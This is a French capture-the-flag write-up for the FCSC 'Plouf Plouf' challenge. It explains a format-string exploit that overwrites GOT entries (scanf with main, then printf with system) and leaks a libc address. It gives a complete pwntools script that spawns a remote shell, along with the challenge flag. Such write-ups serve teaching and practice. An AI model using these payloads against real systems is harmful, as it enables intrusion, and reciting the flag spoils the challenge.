HackademINT

Club de cybersécurité de Telecom SudParis


Plouf Plouf

Auteur : Bdenneu

----------------------------------

L’énoncé

Le jeu du caillou, vous connaissez ?

Service : nc ploufplouf.fcsc 4000

SHA256(plouf) = a3f5f3dafdeb9e6e9d8aad2319d69ac62d379d229c64c70a0e46ff6ce9470aa6.

SHA256(libc-2.28.so) = 106dd808259c84d6a271a5c894c73e8486c46b70f35291b025397a04087b893b.

plouf

libc-2.28.so

Trouvons la faille!

Le programme de base demande un nom, et demande de deviner des nombres avant de se terminer.

Pas de buffer overflows ici, mais seulement UNE format string au moment de l’affichage du nom.

Pas de protection pie, donc les adresses des relocs (adresses où sont les fonctions sont stockées) sont fixes.On va donc réecrire l’adresse de scanf dans la mémoire pour mettre main à la place, pour pouvoir faire autant de format string que l’on veut.

Le buffer est à la position 4. Le début de l’adresse sera bien 0x0804 grace à no-pie, donc on va utiliser hn.

On veut écrire 0x9212 = 37394 à l’adresse 0x0804c03c. On ajoute du padding avec des A pour que l’addresse soit au bon endroit.

%.37394x%11$hnAA\x3c\xc0\x04\x08

À partir de là, on a droit de manière illimité aux format strings.

On va leak la libc maintenant.

Les premiers éléments de la stack affiché sont le nombre de caractères lus (on reconnait le 0x80) par fgets puis l’adresse de stdin.

On récupérer l’adresse de stdin dans la libc et l’adresse de system:

stdin: 0x001da5c0

system: 0x0003e9e0

Enfin, on réecrit l’adresse de system à l’adresse de reloc.printf.

from pwn import *
import re
import binascii

r = remote("ploufplouf.fcsc", 4000)
r.recv()

#Ecrire main à la place de scanf
first = 0x9212
payload = b'%.'+b"%d"%(first)+b'x%11$hn'+b'AA'
payload += p32(0x0804c03c)
r.sendline(payload)
data = r.recvuntil('Quel est ton nom ?\n>>>')

#Leak l'adresse de stdin
r.sendline(b'%2$p')
data = r.recvuntil('>>>')
leaked_stdin = re.findall(b'Bonjour 0x(.*?)\n', data)[0]
leaked_stdin = int(leaked_stdin,16)

reloc_printf = 0x0804c00c
libc_system = 0x0003e9e0
libc_stdin = 0x001da5c0
libc_start = leaked_stdin - libc_stdin
wanted = libc_start+libc_system

#Replacer printf par system
first = (wanted & 0xffff) -2
second = (wanted >> 16) - first -2
payload = b"AA" #padding pour les blocs
payload += b"%."+b"%d"%(first) +b"x%15$hn"
payload += b"%."+b"%d"%(second)+b"x%16$hn"
payload += b"A"*(4-len(payload)%4)*(len(payload) % 4 != 0) #pour aligner les addresses
payload += p32(reloc_printf)
payload += p32(reloc_printf+2)

r.sendline(payload)
r.recvuntil('nom ?')
r.sendline('sh')
r.recvuntil('nom ?')
print("Enjoy your shell!")
r.interactive()

On obtient alors un shell sur la machine!

Flag

FCSC{1f0ab477d3ec9b50c0e1259d8e18f10d47c9c046041ef5fe344c30e0da8dca6c}